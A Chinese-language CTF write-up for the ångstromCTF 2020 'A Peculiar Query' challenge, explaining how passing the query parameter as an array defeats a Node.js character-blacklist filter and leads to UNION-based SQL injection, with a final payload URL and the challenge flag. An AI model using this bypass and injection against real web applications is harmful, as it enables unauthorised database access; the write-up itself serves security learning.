Author:颖奇L’Amore
Blog:www.gem-love.com
近日在参加🇺🇸ångstromCTF 2020时做了一个比较好的Node.js的题目
名称: A Peculiar Query
链接: https://peculiarquery.2020.chall.actf.co/
考点: Node.js代码审计、类型混淆污染、SQLi
难度: Medium
Code▸
是本次比赛质量比较高的一个题,打开之后是个搜索的界面,同时给了源码:
const express = require("express"); |
首先,获取了参数q然后进行SQL查询,基本可以肯定是是个SQL注入题:
async function query(q) { |
但是紧接着就是个waf,对q挨个字符判断,如果匹配到' - " .
就把后面都置为****:
let q = req.query.q; |
如果验证waf通过,就会截取q的前80位进行sql查询,输出查询结果:
q = q.substring(0, 80); |
类型污染Bypass▸
可以看到,这个匹配危险字符是对字符串q的任何一个字符进行匹配。但是,谁规定q就是字符串了?
let q = req.query.q; |
php题目的一个常规套路就是用数组去绕过哈希,因为PHP中的md5()
sha1()
等函数不能处理数组,如果传进参数为数组则返回false,false等于false故可以绕过比较。如果本题目中的q也是一个数组,那么这个遍历q的for()
循环的每一轮中,q[i]
就不再是一个单字符了,而有可能成为字符串。举个例子:
\["y1ng","gem-love.com","sql ' and 1=1 ' inject"\] |
q[i]
就分别是y1ng、gem-love.com、sql ‘ and 1=1 ‘ inject,对于第三个元素,虽然里面有危险字符'
,然而对于字符串和字符是不满足==
的:
`"'-\".".split``.some(v => v == q[i]) |
测试:
let q = ['y1ng','\\\\', " or '1'='1' ", 'a-a']; |
WAF被成功绕过。
类型问题▸
对危险字符判断后,对q进行了substring()
截取之后进行sql查询:
q = q.substring(0, 80); |
那么数组substring()
截取得到的是什么呢?运行一下发现报错了:
TypeError: q.substring is not a function |
这是因为substring()
方法是String对象的方法,而Array无substring()
方法,因此报错。 JS中数组+字符串=字符串,实际上JavaScript万物皆是字符串,函数、对象、字符串、数字相加,加出来都是字符串。正好,如果匹配到危险字符,就会拼接上*
,这样q就从Array变成了String
q = q.slice(0, i) + "*" + q.slice(i + 1, q.length); |
所以我们可以在数组中故意加上一个元素,让它被匹配成功,这样q就被转成了字符串,substring()
方法就不会报错了,测试:
let q = ['y1ng','\\\\', "'", 'a-a']; |
长度问题▸
虽然运行成功了,但是q的第一个元素y1ng却被做星号处理了:
这是因为数组的length和字符串的length不一样,SuSeC的wp里也写了,数组的length指的是数组元素个数,字符串length是字符的个数。这个q数组中的q[2]
被匹配,q被转为字符串"y1ng\\'a-a"
,现在q.length
变了,q[2]
也从一个数组的元素变成了字符n
,后面的字符被*
了,导致最后q输出为y1n********
本题目要进行SQL注入,因为这个length的原因注入的payload肯定会被*
掉,如何解决? 肯定的是,q[]
数组的第一个元素q[0]
是要用的payload。在遍历数组查找非法字符时,如果这个非法字符在数组中出现的位置(数组的index)与q[0]
(payload)的长度刚好匹配,就可以让整个payload都逃逸出来。比如让”y1ng
“逃逸出来:
let q = ['y1ng', 'a', 'a', "'"]; |
说的再明白点就是:payload多长,就在第几个元素出现非法字符。比如y1ng长度为4,就在第4个元素(q[3]
)上放一个非法字符,这样y1ng就刚刚好逃逸出来。
SQL注入▸
可能有人就会问了:对于一个从query中得到的q,如何为q[]
数组添加元素? 其实很简单,只要?q\[\]=y1ng&q\[\]=a&q\[\]=a&q\[\]=a&q\[\]=a&q\[\]=a&q\[\]=a&q\[\]=a
就可以了 所以写一个脚本来自动完成这些中间数组元素的填充:
# ''' |
还有个问题就是substring(0, 80)
只截取了80个字符,所以一定要构造一下自己的payload,不要过长。还好题目能够把多行数据都返回并显示出来:
后面就注就完了,在脚本的payload处填上注入语句,什么过滤都没有,直接往出注就完了,最终的payload为:
https://peculiarquery.2020.chall.actf.co/?q[]=1%27%20and%201%3D2%20union%20select%20crime%20from%20criminals--&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=%27 |
flag:actf{qu3r7_s7r1ng5_4r3_0u7_70_g37_y0u}
后记▸
- JavaScript中数组与字符串相加后返回字符串
- 数组的length和字符串的length不同
- 如果出现变量类型转换,则会导致var.length改变,引发某些安全问题